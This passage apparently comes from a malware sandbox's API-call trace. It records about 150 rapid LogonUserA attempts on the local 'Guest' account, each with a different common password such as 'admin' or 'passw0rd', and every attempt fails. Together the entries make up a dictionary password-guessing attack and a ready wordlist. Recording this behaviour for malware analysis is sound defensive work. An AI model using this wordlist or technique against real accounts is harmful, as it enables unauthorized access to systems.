lpszPassword="123123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.367] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="whatever", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.368] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="freedom", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.368] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="killer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.369] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asdf", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.369] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="soccer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.369] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="superman", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.370] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="michael", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.370] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cheese", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.371] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="internet", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.371] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="joshua", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.372] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuckyou", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.372] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blessed", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.373] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="baseball", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.373] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="starwars", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.374] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="000000", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.374] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="purple", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.374] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jordan", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.375] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="faith", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.375] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="summer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.376] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ashley", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.376] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="buster", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.377] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="heaven", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.377] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pepper", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.377] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="7777777", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.378] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hunter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.378] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="lovely", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.379] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="andrew", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.379] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="thomas", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.380] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="angels", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.381] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="charlie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.381] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="daniel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.382] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.382] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jennifer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.383] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="single", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.383] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hannah", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.383] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qazwsx", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.384] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="happy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.384] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="matrix", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.385] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pass", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.385] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="aaaaaa", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.386] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="654321", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.386] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="amanda", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.387] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nothing", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.387] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ginger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.388] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mother", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.388] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="snoopy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.389] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jessica", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.389] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="welcome", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.389] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pokemon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.390] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.390] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="11111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.391] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mustang", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.391] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="helpme", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.392] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="justin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.392] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jasmine", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.393] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="orange", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.393] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="testing", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.394] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="apple", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.394] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="michelle", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.395] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="peace", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.395] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="secret", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.396] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.396] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="grace", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.396] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="william", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.397] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou2", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.397] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nicole", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.398] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="666666", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.398] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="muffin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.399] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gateway", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.399] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuckyou1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.400] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asshole", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.400] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hahaha", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.401] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="poop", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.401] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blessing", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.402] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blahblah", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.402] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="myspace1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.402] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="matthew", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.403] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="canada", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.403] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="silver", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.404] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="robert", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.404] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="forever", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.405] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asdfgh", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.405] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="rachel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.406] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="rainbow", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.406] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="guitar", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.407] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="peanut", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.407] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="batman", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.408] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cookie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.408] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bailey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.409] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="soccer1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.409] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mickey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.410] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="biteme", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.410] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hello1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.410] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="eminem", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.411] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dakota", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.411] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="samantha", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.412] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="compaq", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.412] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="diamond", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.413] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="taylor", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.413] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="forum", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.414] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="john316", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.414] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="richard", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.415] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blink182", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.415] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="peaches", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.416] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cool", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.416] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="flower", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.416] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="scooter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.417] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="banana", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.417] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="james", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.418] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asdfasdf", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.418] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="victory", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.419] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="london", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.419] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123qwe", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.420] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123321", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.420] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="startrek", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.421] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="george", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.421] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="winner", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.422] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="maggie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.422] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="trinity", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.423] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="online", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.423] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123abc", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.424] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chicken", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.424] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="junior", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.425] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chris", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.425] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="passw0rd", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.426] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="austin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.426] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sparky", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.427] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="admin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.427] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="merlin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.427] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="google", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.428] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="friends", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.431] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hope", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.432] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="shalom", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.432] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nintendo", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.433] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="looking", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.433] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="harley", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.434] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="smokey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.434] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="7777", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.435] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="joseph", 